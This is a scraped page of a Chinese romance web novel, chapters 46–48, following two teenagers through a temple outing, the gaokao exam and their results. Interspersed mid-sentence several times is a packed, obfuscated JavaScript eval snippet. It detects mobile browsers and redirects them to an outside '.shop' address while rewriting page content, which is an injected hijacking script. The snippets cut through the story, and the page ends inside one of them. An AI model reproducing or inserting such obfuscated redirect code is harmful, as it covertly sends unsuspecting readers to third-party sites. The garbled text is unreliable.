这已经是让他们感到特别奢侈的假期了,同样大概率也是考前最后一个。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035583|134775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 舒景澄从包里掏出一台CCD,推了推褚闻的手,挑了挑眼皮,嘚瑟道:“看,这是什么?” “找二班借的相机。” “我对你好吧,有什么事第一个想着就是你。” “褚哥,你走干嘛?咱俩来合个影呀!” 另一边。 背着书包刚下客车的姜逢晚站在明槐中学门口。 外面太阳有点大,她去到对面快餐店旁边的洋槐树下坐着。 拿出钱包,首先数了数钱,一千八,一分没少。 附近有家奶茶店,姜逢晚买了杯柠檬水,重新回到洋槐树下的长椅。 下课铃声响了,姜逢晚喝了几口柠檬水,给褚闻发去信息。 ——【你们几点放学?】 对面没回,大概率还没看到。 过了几分钟。 ——【五点半。】 姜逢晚看了眼时间,现在是四点四十五,还有四十五分钟就可以见到他了。 等待的间隙,一阵风吹过洋槐树,地面掉了几朵白色小花。 姜逢晚抿起唇角,莫名想起和爸爸妈妈回榆溪的那天。 临走之前,褚闻突然打来电话,说有事要找她。 姜逢晚去到后门,原本站在巷子中间的少年大步走来。 开口的第一句话便是—— “姜逢晚,我有话想和你说。” 霎时间天空下起纷纷扬扬的雪花,她抬起清凌凌的眼眸:“你说,我听着。” 少年立在她面前,眼神深邃,情绪浓重,目光里满是一个人,近乎脱口而出:“有件事不得不现在说出来,但你能不能等几个月再给我答复。” “什么事?”女孩指尖微颤,对于接下来的话忽然有些不知所措。 只见褚闻垂下眼睑猛地靠近她,呼吸声隐约可以听见。 “关于我喜欢你这件事。” 姜逢晚整个人僵滞在原地,眼前是冰天雪地里大片大片的纷飞雪花,以及世界里极为明晰的他。 羽睫微颤,心脏怦怦直跳,手都不知该往哪里放。 回想到这儿,姜逢晚又喝了一口柠檬水,脸上的笑完全藏不住,模样嫣然,眼睛水灵灵的好看。 五点三十,下课铃声准时在校园响起,伴随着楼道传来的闹腾呼喊声。 “终于下课了!” “解放解放!” “放假放假!” “回家回家!” 陆陆续续的学生从校门口走出,保安大叔站在一旁和认识的同学打招呼,其中就有从走读改为住读的舒景澄。 和保安大叔聊了几句,舒景澄转头看向身后的褚闻:“怎么了,拍完了吗?” “不过我挺好奇的,话说你刚才拍什么去了。” 褚闻把相机还给舒景澄,定定望着一个方向,声音清润,目光温和:“帮个忙,去洗一下照片。” “我还有事,先走了。” 话一说完,身影立马消失了。 舒景澄疑惑地看着相机的照片,眸光一变,瞪大眼睛,不可置信。 这这这……这不是姜逢晚吗? 怎么会出现在他们学校门口!!! 舒景澄抬头望去,陡然看见了对面坐在洋槐下的姜逢晚,以及已经走到她身边的褚闻。 46. 观音庙与佛寺 此刻正值放学,汽车鸣笛声与说话炒菜声重重叠叠,虽然高一高二的同学早就回家了,斑马线上只有来来往往的高三生,热闹仍旧不可小觑。 褚闻拉紧书包,轻声说:“你来了,怎么没有告诉我?” 姜逢晚匆忙站起身,唇角抿起娇羞的笑,耳垂渐渐红了。 看着褚闻的眼睛,下一瞬她低下头睫毛颤动,慢腾腾地说出一个“嗯”字,有些不太好意思。 “我们先回家吧。” “晚了就赶不上车了。” 褚闻跟在姜逢晚身后,路过拥挤人群,隔开嘈杂声响,他凝眸望着前面的女孩,眼尾露出一点笑意。 客车上面的人不多,两人来到后座靠窗的位置,窗子敞开着,不断有凉风灌入,姜逢晚的头发都被吹到褚闻那边了。 她连忙侧过身关掉窗子,耳边风声小了一些,同时也能更好地听清男生的声音。 盯着那个来回摇晃的哆啦A梦钥匙扣,褚闻拿出随身听,忽地冒了一句:“我也有。” 距离太近,姜逢晚的心跳个不停,害羞地点点头:“嗯。” 不能说出口,因为那是她特意带来的。 姜逢晚安静地坐在位置上,坐姿极为乖巧,声音也软软的:“你们放几天?” “两天。” 褚闻掀开眼帘,侧头不经意间看了姜逢晚一眼,指尖稍停,忽然问道:“你明天想去爬山吗?” “县城山顶有座寺庙,樱花还没有谢。” 去年明水镇的冬天比以往每一年都冷,漫天大雪经久不停,一直到三月中旬气温才缓缓上升,本来三月就该盛放的樱花足足晚了一个月才相继开放。 虽说现在已经四月末,县城包括明水的樱花早已谢了,但山寺还没有,那儿正值晚樱盛放之际,花开正好。 樱花迟了一步绽放,晚了一步凋零,仿佛特意等着什么人。 “不会耽搁你的时间吗?”姜逢晚问。 “不会。”褚闻回。 车窗外的树木沿途后退,盛大绿意萦绕周围,明水镇的风景很好看,山清水秀,鸟语花香,氛围怡然自得。 少年用余光悄悄盯着身边的女孩看,不自然地弯了弯唇,眸光清亮。 ——你来了,对我来说,刚刚好。 县城回明水需要四十分钟,现在才过去几分钟,褚闻从黑色书包里翻出白色耳机。 正准备听英语音频来安抚躁动不已的心,姜逢晚察觉到他的举动突然开口:“我也有耳机。” “给你听音乐。” 坐在窗边的女孩将白色耳机的另一只自然地放到褚闻手上,亦如从前他伸手递来的模样,笑容美好。 褚闻接过,唇角微不可察地冒出一个小弧度。 ** “现在是北京时间上午9点整,考试开始,请考生答题……” “叮铃铃铃铃”,一阵急促的手机铃声从某个方向传来。 讲台上的监考员和四面八方的同学瞬间盯过来,舒景澄一个哆嗦,猛地从课桌里掏出手机。 “喂。” 对面刚喊出一个字,舒景澄一个鲤鱼跳直接翻身坐起来,表情惊恐难言,冷汗涔涔道:“别吵!我tm在高考!” “现在是晚上十点。”褚闻淡定开口。 舒景澄倏地往窗外望去,外面夜色沉沉,一片漆黑,不是白天,没有考场。 他气喘吁吁地吐出一口气,猛然打开床头柜上的台灯,原来不是在高考! “清醒了?” “醒了醒了,那个梦也太真实了吧!太吓人了!” “你找我什么事?” “相片洗好没?” 舒景澄一个飞跃扑到大床另一边,从桌子上捞下照片,回道:“洗好了。” “没想到,你拍照技术还挺不错的嘛。” “那为啥我给你拍照的时候,你站在门口转身往外走,甚至连镜头都没看!” 褚闻拿起旁边签字笔,用另一只手接电话,问道:“所以你拍了没?” “当然拍了,本来还想拍你一堆丑照,结果666,还是一如既往的帅。” 褚闻勾了勾题目里的关键词,视线逐渐落到桌子旁挂满整个盆栽的草莓上,随口问:“我的那张洗了没?” “嘿嘿嘿~”舒景澄笑了起来,回道,“必须的。” “那我明天来找你拿。” “OK。” 挂断电话,褚闻开始做题。 英语提分比较容易,只需要掌握大量单词、短语还有语法问题。 他语文成绩还是不够好,目前才一百出头,得继续努力。 另一边。 言粥粥给姜逢晚打来电话,问她在哪里,明天要不要出来玩。 结果姜逢晚一句话直接给言粥粥干懵了。 “我在明水。” 本来赖在沙发一边看电视一边吃薯片的言粥粥立马坐起来,目瞪口呆道:“我去!你又去找那个男生了!” “姜姜!你……”言粥粥张开嘴不知道说她什么才好,又震惊又无奈又想笑。 一条条给她指出来。 “姜逢晚,你去年国庆就打算回明水,本来已经订好车票了,结果你妈妈发烧所以没去。” “后来过年,你又打算回明水,最开始你爸妈不同意,也不知道你最后是怎么说服他们的。” “现在就放五天假,你一离校就坐上回榆溪的火车,别以为我不知道明水有多远,你来回坐车都需要两天时间……” 言粥粥发出灵魂疑问:“就这么喜欢那个男生吗?” 姜逢晚坐在床边,静静地听着她的话。 窗外几根电线随着昏黄路灯的光映入眼帘,耳边偶尔传来几声浅浅的鸟叫,明水镇的夜晚与城市完全不同,这里宁静、安闲,悠然,时间也慢了下来。 她突然想起了木心的一首诗。 “从前的日色变得慢,车,马,邮件都慢。一生只够爱一个人。” 女孩握紧手心,杏眼亮晶晶的好看。 “因为他说,他也喜欢我。” 好看的羽睫眨了眨,唇边笑意无限,姜逢晚抬头重新且认真地说了一遍:“因为他说,他也喜欢我。” “粥粥,你不知道,我当时听到这句话的时候,我觉得脑袋根本反应不过来。” “包括后来坐车回榆溪的路上,我一直都在想这句话,一直在回忆他当时的眼神,那么明亮,那么……我说不出来,只觉得心生欢喜。” “我见到他真的特别特别开心,是前所未有的开心,难以自拔的开心,没有办法不去想念没有办法不想来找他……” “怎么可以,”姜逢晚停顿半秒,“我喜欢他,然后他说他也喜欢我,直到现在我都仍因这句话激动。” “多简单,因为遇见一个人,所以喜欢一个人。” “只是靠近他,哪怕一点点,也会觉得难以言喻的雀跃。” “我根本没有办法、也不想控制自己不去接触他,难以遏制,一瞬间高兴在天上。” 榆溪市下着瓢泼大雨,雷声阵阵,闪电划过天际刮出耀眼的白,言粥粥踩着拖鞋慢悠悠地走过去关掉门窗。 转身躺回沙发,回道:“好了好了,你欺负单身狗是不是?” “知道你有多喜欢他了。” “知道了知道了。” “再继续听下去,我要变成柠檬精了!” 闻言,姜逢晚轻轻笑了笑,随后给褚闻发送晚安信息。 翌日。 闹铃响后,姜逢晚从床上爬起来。 她这次来得匆忙,换洗衣服只带了一套,昨晚的睡衣还是穿的以前落在这里的棉裙。 穿好衣服,梳好头发,吃完早饭,洗脸涂防嗮和唇釉,姜逢晚来到厕所照了照镜子。 她从来没有想过,自己会因为喜欢一个人,变得完全不像自己。 因为直到现在她才知道,原来她也会有过分爱美的一天。 高中三年清水洗脸,冬天才会擦一些保湿霜,现在竟然开始学化妆了,甚至还是伪素颜妆。 姜逢晚抿起唇角,对着镜子露出一个极为满意的笑。 反正好看就行了,她要漂漂亮亮地出现在褚闻面前。 姜逢晚小心翼翼地推开门,准备往顶楼走去。 距离约定时间还有十几分钟。 下一秒,姜逢晚眼睫一停,看到了站在三楼转角处的背影。 怎么会……一直站在那儿,是在等她吗? 外面金光乍现,天气晴好,女孩沿着台阶往上走,一步一步静悄悄地来到少年身边。 眸光欣喜,嗓音清甜地喊了声。 褚闻取下白色耳机揣进兜里,另一只手上端着玻璃盒,里面装着洗好的草莓,新鲜、水灵、红润,一共有十几颗。 少年自然地往前走半步,离姜逢晚更近一点,他伸出手,低下目光温声道:“草莓。” “谢谢。”姜逢晚从里面拿了一颗吃,很甜很甜。 褚闻盯着准备往楼下走的女孩,伸手点了点她的手臂,喊出她的名字,说:“都给你。” 有点猝不及防的小惊喜,姜逢晚接过,唇角冒出的弧度越加大了。 走上客车之前,突然发现门口奶奶的身影,姜逢晚连忙遮遮掩掩地垂下头,接着倏地一下钻进客车。 来到后座,她拉过窗帘,仓促解释道:“没事没事,你吃草莓。” 客车往前行驶,门口桂花树的身影消失在窗边,女孩的耳垂不自然地红了些。 “你一直站在门口干嘛?”姜爷爷问道。 “看缝缝。”姜奶奶回。 “缝缝不是在楼上吗?” 姜奶奶闷声笑笑,没说什么,转身进屋。 - “褚闻,你包里背着什么?” “爬山不觉得重吗?” 姜逢晚停下来,问他。 男生侧头,下颌优越:“不重。” 直到某段路,姜逢晚忽然觉得有点口渴,这才知道褚闻包里装着什么。 就像一个百宝箱或者哆啦A梦的口袋,一会儿拿出水,一会儿拿出牛奶,一会儿拿出草莓,一会儿拿出面包,一会儿拿出纸巾…… 姜逢晚忍不住笑起来,杏眼清亮,融着细碎的光:“你究竟带了多少草莓出来?” 褚闻盯着她的笑,偏过头,克制不住地扬起唇角。 不能说。因为他不小心把一整个盆栽的草莓给薅秃了。 走了一个小时,姜逢晚有点累了,这个时候褚闻在她眼里完全是天神般的存在,非常耀眼高大。 因为她可以拉着他衣角走路。 这叫借力使力,轻松愉悦。 迎面清风徐徐吹来,女孩扎着低马尾,身后是广阔山野,树叶摇晃,绿意美好,风声簌簌。 她睁着水润明亮的杏眼,喊道:“褚闻,我们来拍一张照片。” 少年点头,听话地走到女孩身边,身影高瘦,永远站得笔直,仿佛一点也不觉得累。 姜逢晚拿起手机,悄悄往褚闻的方向靠近一点点。 “咔嚓”一声,拍好了。 “照片好看吗?”她伸出手机,递给褚闻看。 “好看。”少年声音清润,余光里落满一个人的身影。 走到半山腰的时候,姜逢晚又停下来休息。 好累,呜呜呜想哭,感觉腿都不是自己的了。 少年开口:“马上就到了。” 姜逢晚重新站起身:“好吧。” 却不料,原本想伸出手,试图一如既往地抓住褚闻的衣角,但他似乎预判到她手的位置,蓦然握着她的手。 少年没有回头,只是牵着她的手沿着台阶往山寺的方向走,视野里已经出现樱花的身影,漫山遍野,花开正好,极为好看。 风一吹,无数樱花起舞,美如一幅流动的画,世间罕见,绝美风华。 姜逢晚低下眼睑,视线落到两人牵着的手上,嫣红的唇角抿起浅浅的笑。 他没开口,她也没说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嘟”的一声,姜逢晚按断通话键,向姻缘树匆匆跑去,白色裙角轻盈蹁跹,色泽嫣红的唇角蔓延开雀跃,径直来到褚闻面前。 不自在地闪开目光,瞳眸水润:“你在这里,我还在想你为什么没在身边呢?” “这棵树真好看,是用来祈福的吗?” “我们要不要,也写点,算是祈福求愿。” “听老人说,把期待绑在树上,风一吹,你的愿望就会成真。” 褚闻静静地看着她,点头,带她去旁边放红布条的地方。 拿起签字笔,伏在桌前,模样温润英俊。 姜逢晚低下头,眸色专注,提笔落下一句—— 天道殷勤,终有凌云得志时,希望你考上理想大学。 两人将红布条挂在高高的枝头上,一起进入大殿,跪在蒲团上闭眼许愿。 前方是汉白玉观音坐像,位于莲台之上,面容庄严慈祥。 殿外的风轻轻吹,无数红布条上写着祝福和祈愿,风一吹,愿望实了真。 走出观音庙,姜逢晚问:“为什么没有平安符?” 听到这话,褚闻说:“等会儿才有。” 不远处有脚步声传来,不是一个人,而是一群人,姜逢晚疑惑地看了眼,心想:难道山上住了很多人吗?但看着不像呀。 姜逢晚没多想,正准备下山,然而身边的褚闻蓦然拉住她手腕,眸光清澈:“上面还有一座寺庙,几分钟就到了。” “?”刚才拜的是观音像。 “!”那,刚刚那棵树…… “褚闻,我记得观音好像是姻缘神,所以我们刚刚是在……”求姻缘吗? “我们一起拜的姻缘庙?” 说完,姜逢晚的脸立刻通红起来。 不是没有察觉到褚闻的不自然,不是没有惊讶为什么是观音坐像不是佛像,只是太过信任他,于是下意识选择忽略疑惑。 “你竟然骗我。”姜逢晚转过身,白净的脸庞浮现缕缕羞涩,眉目如画。 “我的错。”少年轻轻拉住她衣角。 女孩沿着台阶往前走。 褚闻小心翼翼地跟在身后,从书包里拿出一瓶水,递到她手里。 姜逢晚接过。 喝完,还给他。 但还是很羞涩,脸颊绯红。 回想起刚刚两人一起跪在蒲团祈福的场面,姜逢晚真的想钻到一个没人的地方,躲褚闻远点。 心脏怦怦跳,她迫切需要冷静,偏偏褚闻待在身边,一会儿问她饿不饿,一会儿问她渴不渴,一会儿问她想不想吃草莓…… “褚闻,”姜逢晚转头,拉着他的手径直往前走,“你安静一点好不好。” “好。” 少年果真保持安静,可手心却是温暖干燥的。 女孩依旧静不下心,仿佛血液在滚烫。 来到佛寺,游客肉眼可见的多,到处都站着人影,有的在拍照,有的在上香,有的跪坐蒲团叩拜。 佛寺被青山绿树环绕,头顶出现红橙色的云朵,长空灿烂,美不胜收,金灿灿的日光落至精美庄严的建筑,屋檐下挂着风铃,风一吹,铃声清脆。 佛寺有六层高,每层都有精美非凡的壁画,从走廊处来到前面,辽阔远山映入视野,云层仿佛触之可及,整个县城的风貌汇聚成小小一块。 与飞机下降时看到的如同灰色模型的地面建筑不同,眼前的风景是彩色且富有生命力的。 褚闻与姜逢晚拜了六次佛像,最后来到石墙围栏处。 抬头望去,远处是宁静悠远的县城,底下则是一眼望不到尽头的樱花树,花开正好,纷纷扬扬,花瓣满地。 身后佛寺静谧,香烟袅袅,鸟雀划过天空传来一阵浅鸣,他们站在远山之上,可以一览众山小。 姜逢晚侧头悄悄瞥了旁边的褚闻一眼。 回眸,嗓音清甜:“好啦,原谅你了。” “那里有平安符,你还想要吗?” “不用,我已经有一个了。” “褚闻,你要好好高考,知道吗?” “我知道。” 少年漆黑的双眸定定望着身边的女孩,无声弯起唇角。 47. 高考 “不要再跟着我。” 一道不耐烦的声音从小巷传来,声线冷冽。 宋听语停住脚步,眼睫轻轻颤了颤,感觉这个声音有点熟悉,但一时想不起具体是哪个人。 她往前走两步,不经意间探出头,看见了逼仄狭长小巷内的两个人。 路灯忽明忽暗,飞蝇肆无忌惮往前冲,即便蜘蛛网上挂着密密麻麻的前辈,仍旧急匆匆地来回飞,浑然不怕死亡。 下一秒,那个穿着蓝白色校服的男生皱起眉,脸上浮现不耐烦的情绪,猛然拉开和身后穿着超短裙女生的距离。 宋听语有些尴尬,因为这两个人她都认识。 一个是同年级十三班的女生,被很多人称为校花,打扮潮流,腿长腰细肤白貌美眼神勾人,名字叫沈清瑶,听说她经常和校外的人勾肩搭背走,有很多男生喜欢她,同样也有很多女生不喜欢她。 另一个,宋听语再次眨了眨眼,是褚闻。 两人为什么会出现在这里,是相互认识?他们关系好吗? 不过这个念头很快被小巷内的两人打断,他们似乎没看见她,一个大步往前走,身上散发着几近落到实处的冷漠,另一个画着好看的妆容,裙子色彩亮丽,正眼神焦急,迫切往前追赶。 女生出声喊道:“你难道不知道我喜欢你很久了吗?为什么不接受……” “!”宋听语一惊,察觉到男生正往这边走来,即将发现自己,她连忙侧身退到一旁,低垂着头。 耳边听到他脚步未停,语气烦躁,冷冷落下一句:“我有喜欢的人。” “我不在乎!” “如果你和我在一起,我相信你一定会喜欢我的!”沈清瑶大喊道,泪水盈眶。 脚步声消失在附近,宋听语转过身,心情有些意外的沉重,不自然地探出头,再次往小巷望去,原地只剩下沈清瑶一个人。 宋听语在学校遇见过她,每次路过她总一副高傲潇洒的模样,现在却哭得眼妆都花了。 怕被人发现,宋听语小心翼翼地离开。 原来他有喜欢的人。 想到这儿,宋听语低下眸,目光暗了一些。 周围有朋友看见她,招手喊道:“宋听语,来吃炸串吗?我请你。” 宋听语摇了摇头:“下次吧,我还有事。” 往前走了很长一段路,宋听语抬头看了眼前方,依旧没有出现男生的背影。 她愣了愣,立在原地往四周环视一圈,人海茫茫,人影匆匆,汽车飞驰而过。 宋听语抬头定定望向天空,乌云沉沉,即将下雨。 几分钟后,豆大颗的暴雨如期而至,附近的行人匆忙往前跑,她神色恹恹,提不起什么兴致,一个人静静地往旁边屋檐下走去,看起来并不着急。 屋檐下雨成帘,耳边风声呼啸而过,女孩长发微湿,雨滴落到脸庞,她摊开手,手心冰凉。 宋听语弯起唇角,低下头无奈地发出喟叹。 淋雨的滋味果然不好受。 就像知道他有喜欢的人一样。 ** “姜呀。” “我真的快死了。” “背不完,根本背不完……快背吐了。” 期末周,整个寝室弥漫着一种淡淡的死感。 手机“叮”了声,姜逢晚喝了口咖啡,又揉了揉眼睛,这才放下书去看信息。 ——【好服务更随心】尊敬的用户:20xx年全国高考于6月6日-8日进行,为了给广大考生提供良好的考场环境,相关考试主管单位将在各考点开启无线信号干扰器,届时可能会影响考点区域及周边用户手机的正常通信,具体表现为无法拨打及接听电话、无法上网、信息发送和接收不成功等现象。考试结束后将恢复正常,感谢您的理解与支持。中国电信祝莘莘学子金榜题名!【中国电信期待您10分满意】 看完整条信息,姜逢晚的心突然跳了跳,涌动着去年面临高考的紧张情绪。 她深呼吸一口气,一边背书,一边等着某个人的好消息。 女孩敲了敲自己的脑袋,试图让自己更加清醒,而后继续专注背书。 另一边,明槐中学。 前方有警车开路,高三生井然有序地坐上大巴车,前往外校参加高考。 道路两旁站着穿红色志愿服的高一、高二生,穿蓝白色校服的初中生,还有戴红领巾的小学生,全在热情激动地挥舞手臂,笑容满面。 整个县城的居民自发前来送考,他们站在学生身后,密密麻麻一大片,场面甚为壮观、隆重和盛大。 舒景澄和褚闻坐在后座靠窗的位置,静静看着窗外渐行渐远的风景。 耳边是同学低语,脑海里晃出刚刚校门口噼里啪啦响的红鞭炮声,以及大巴车一路经过的万人欢送声。 “祝所有考生旗开得胜,金榜题名!” “这一战必胜!” “高考加油!” “高考顺利!” 舒景澄碰了碰褚闻的手臂,眼眶微微湿润,冒着一层水光:“有点感动,去年我还是站在最前面挥动小红旗的人。” 褚闻侧头瞥来一眼,随后默不作声地望向窗外。 大巴车已经行驶了很长一段距离,仍旧能看到街边人影。 少年纤长的睫毛轻颤,黑眸隐含深思,不知道在想些什么。 - 三天时间匆匆而过,八号下午的英语考试结束,属于他们的高考也圆满落幕。 褚闻从教学楼走出来,望着前方很多人的背影,天边白云卷卷,晴空万里灿烂,校门口站着数不清的、激动不已的家长。 他低下头,看了眼左手,以往的黑色机械手表被取下,如今只有一条细长红绳,上面挂着水瓶座木坠。 褚闻跟随人群往前移动,好看的眉眼轻轻弯了弯。 “外公。” “你也来了。” 在某处角落发现林山的身影,褚闻大步走去,用力拥抱了他一下。 林爷爷眼眶微湿,颤着手道:“考完就好,考完就好,小闻辛苦了。” “不辛苦。” “走,”林爷爷拉着他的手,笑着说,“我们去吃大餐,想吃什么跟我说!” “褚闻!”身后舒景澄的声音猛地传来,穿着白t的少年连忙跑过来拍了拍他的肩,笑容轻松,“等会儿有班会课,一起去。” “好。” 坐大巴车回到明槐中学,教室里来了一半的人,剩下的同学陆陆续续赶来,一个没少。 映入眼帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095982|134775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是“集体请假条”五个字,写在墨绿色黑板上,明晃晃的大字。 褚闻和舒景澄分别签上自己的名字,多媒体放着音乐,不知道是哪个同学点开毛不易的《一程山路》。 歌词这样唱着: “走不出看不破” “潺潺流水终于穿过了群山一座座” “好像多年之后你依然执着” “白云是否也听过你的诉说” “笑着你笑着我” …… 这堂班会课结束后,在场饱含泪水的同学将正式告别高中时代,告别高中奋斗的青春岁月,并以此为起点,踏上新的人生征途。 ** “姜逢晚。” “我考试结束了。” 褚闻站在天台,碎发搭在额前,他洗了澡,头发还没完全干,黑眸温柔,少年感十足。 “你们多久放假?” “好。” “到时候我来找你。” 回到房间,桌面摆着两张照片,一张是姜逢晚。 穿着白色长裙的女孩坐在高大繁茂的洋槐树下,枝头挂着仿佛会发光的刺槐花,地面落满白色花瓣。 女孩低垂眉眼看着地面,面容温婉漂亮,手腕戴着细长红绳,唇边笑意干净美好,像一朵不染世俗的茉莉花,清新脱俗的好看。 另一张则是他。 穿着蓝白色校服的高大少年准备往教室后门走,听到声音回头瞥来一眼,眸色淡然,五官出众夺目,身形极为优越。 眸似一点漆,手臂修长白皙,令人一眼惊艳的浓颜系大帅哥,半明半暗的光影打在他校衣上,背后绿影重重。 照片的旁边,放着班会课上吴老师发给他们的元旦贺卡,上面写着此前的新年愿望。 那是一张很好看的浅粉色信封,背面印着盛开玫瑰与飞舞的蝴蝶,画风温馨梦幻。 褚闻靠着椅背,放慢思绪,一点一滴回忆从前,一分一秒期待未来。 身旁风扇摇头晃脑地吹着,他轻轻闭上双眼,唇边带着浅笑。 睡了十三个小时,第二天褚闻兴致勃勃地拿着水管给菜园浇水。 没想到舒景澄又跑来了,正懒懒坐在葡萄架下的藤椅上,吃着炸鸡喝着可乐一脸嘚瑟。 “考完就是放松!” “以后我要每天睡到十二点才醒!” “高中最长的暑假!哦耶!爷青回!” “褚哥,走,打球去!” “我好久没打篮球了!” - 十几天时间一晃而过,姜逢晚在绥安市忙着期末考试,褚闻在明水镇等待漫长的出分结果。 太阳闪闪发光的中午,两人窝在网吧,等待网页刷新。 舒景澄一边撕开泡面包装,一边慢悠悠地问道:“褚哥,你看什么呢?这么认真。” 舒景澄凑近一看,电脑屏幕出现的是微信界面。 联系人特别少,五根手指头可以数出来,因此一个可爱蓝色手绘女孩的头像格外显眼。 舒景澄不用问都知道,这肯定是姜逢晚的微信。 只是,这个备注挺奇妙的。 为什么是缝缝? 甚至还是特别关注,舒景澄有些惊奇,褚哥居然也会操作这个! 48. 恭喜 “你小子。” “挺纯情的。” 舒景澄压不住嘴角,说完快速拿起泡面桶去饮水机接开水。 端着香气扑鼻的泡椒味泡面回来时,他发现褚闻面前的电脑网页已经刷新了。 舒景澄趴在椅背上,两眼锐利放光,一手端着泡面,一手紧握成拳,肉眼可见的激动。 他从上往下依次看过来,瞳眸震惊,兴高采烈地拍了拍男生的肩膀,大喊道:“褚哥!牛逼呀!太牛逼了!牛逼炸了!” “我去看看我的!”此刻舒景澄显然顾不了刚泡好的泡面,随手放在桌边,猛地点进网页查看,一惊,音量高了几个分贝,“我去!六百六十六!” “我居然考这么高!啊啊啊啊啊!我太棒了!我太优秀了!” “好兄弟!”舒景澄激动地转过身,双手按住褚闻的肩膀来回晃动,激动的心颤抖的手表情万分夸张,唇角仿佛要翘到天上去! 柜台边的网吧老板听到声响立马走过来瞧一瞧,热情地问道:“怎么,在查高考分数?考得怎么样。” 舒景澄也不知怎的,听到问话一下子从椅子上弹跳起来,眉目肆意张扬,扬手大大咧咧地喊道:“我666,他678.5!” “他是明槐全校第一!” “我是明槐全校第二!” 闻言,网吧老板明显吃惊起来,比了一个大拇指,特别夸奖道:“真棒!确实不错!” “确实666!六六大顺!” “没看出来,你们俩成绩这么好!” “这样,今天我请客,网费就不用给了,想吃啥去柜台说!” “老板大气!”舒景澄笑得合不拢嘴,神色开朗,点头道了声谢。 网吧老板走后,舒景澄坐下来,刚准备伸手拍褚闻的背,结果对方“腾”的一下站起身,一边转身推开他,一边拿起老年机拨通电话往门外走。 舒景澄掩唇笑了一下,没想到褚哥还是蛮激动的嘛,就是不知道此刻在和谁分享喜讯。 他懒懒扯开笑,抚平稍显凌乱的衣角,拿起叉子低头吃泡面,笑容满面,坐姿豪迈不羁。 网吧附近是一家快餐店,此刻店内炒菜的声音格外大,褚闻跑到明水桥上,心中蔓延着难以遏制的期待。 少年眉眼一弯微微含笑,眸中含亮,声音清越:“高考分数出来了。” “678.5,比你少1.5分。” “我可以来绥大了。” 说完,褚闻好看的唇角扬了起来,欢腾着止不住的雀跃,静静地等着电话那端的女声,心尖仿佛在发烫。 “恭喜你!” “我就知道,你一定会做到的!” “太好了!” “褚闻,你真的好棒!特别特别优秀!” “我好开心~” 一连半个月,绥安市的天气都十分晴朗。顶着烈日骄阳,姜逢晚从教学楼慢慢走出来,周围室友瞧见她神色欢愉的模样,好奇地问:“怎么了,今天怎么笑得这么开心,是有什么好事发生吗?” “先别高兴得太早哟,下午还有一门专业课考试……不过终于快要结束了。” 姜逢晚点点头,背着帆布包往前走,笑容似春风,明媚灿烂,完全藏不住。 ** “这是单侧肾肿瘤,导致单侧肾脏萎缩,需要进行手术切除单侧肾脏。” “你外公这个岁数了,再晚几年估计……” “手术费需要多少钱?” “八、九万吧。” “那现在需要注意什么?” “严格控制饮食,低盐低脂适量蛋白饮食,尤其是低盐,一定要控制体重,戒烟尽量不喝酒,血压要严格控制在130/80以下……” 三年前,褚闻拉着外公去医院检查,当时值班医生是廖医生,穿着白大褂,戴着银框眼镜,身材清瘦,脸上稍许雀斑。 血压升高,夜间增多,水肿是这个病的临床症状。 廖医生说,外公五年之内必须做手术,老人家岁数越高风险越大,还是要尽早治疗。 - 褚闻初中成绩很好,因为初中语文和英语还没有那么难,弱势学科拉的分比较少,他常年第一,每学期学校奖励两百块。 初二那年,原本有榆溪市三中的老师来明水镇招优等生,一次只招三个,按理说褚闻应该是必去的。 然而招生老师特意来找他谈了两天,说学校有优惠,只要成绩好高中考上三中本部,他就可以享受很多补助,最后褚闻依然选择没去。 褚闻是以中考总成绩第一的名次进入明槐中学的,最开始学校有特别多人关注他。后来发生了一件所有人不能理解的事,他在开学第一周从重点班退出,选择转入普通班。 之后有相当一部分人在看他笑话,因为将近两年的时间里,年级前四十再没出现他的名字。 没有人会在意一个成绩严重下滑的同学,他不再是竞争对手,也理所当然地从视野里退开,即便他曾经是年级第一。 而又令所有人不可置信的事情发生了,褚闻居然在高三上学期以年级十九的名次再次进入重点班,同一个初中的同学惊讶、疑惑、关注,甚至担心、害怕,不由自主地在意他下一次的考试成绩。 没想到褚闻真的再次变得耀眼起来,总排名以特别快的速度上升,直至霸占榜首。 那种久违的毫无反抗之力且不出意外的碾压感笼罩每个人的心头,仿佛又回到初中三年里只能争年级第二的境遇,褚闻与他们拉开几十甚至近百分的差距。 学校关注他的人越来越多,前两年泯灭众人的男生如今以一种非常出众的实力强势闯进重点班学霸们眼中,强有力的竞争对手变成高不可攀的存在。 有种意料之外却又情理之中的感觉,好像他本该就是那样的存在,就应该是年级第一,可望而不可及。 褚闻的高考成绩在学校论坛里疯传,这是明槐建校百年来,出过的最高的高考分数,他不仅是全校第一,全县第一,甚至在整个榆溪市都是极为优秀的,高考考了一个非常、非常漂亮的分数! - 填志愿前一天,褚闻带外公去县城医院检查身体。 外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 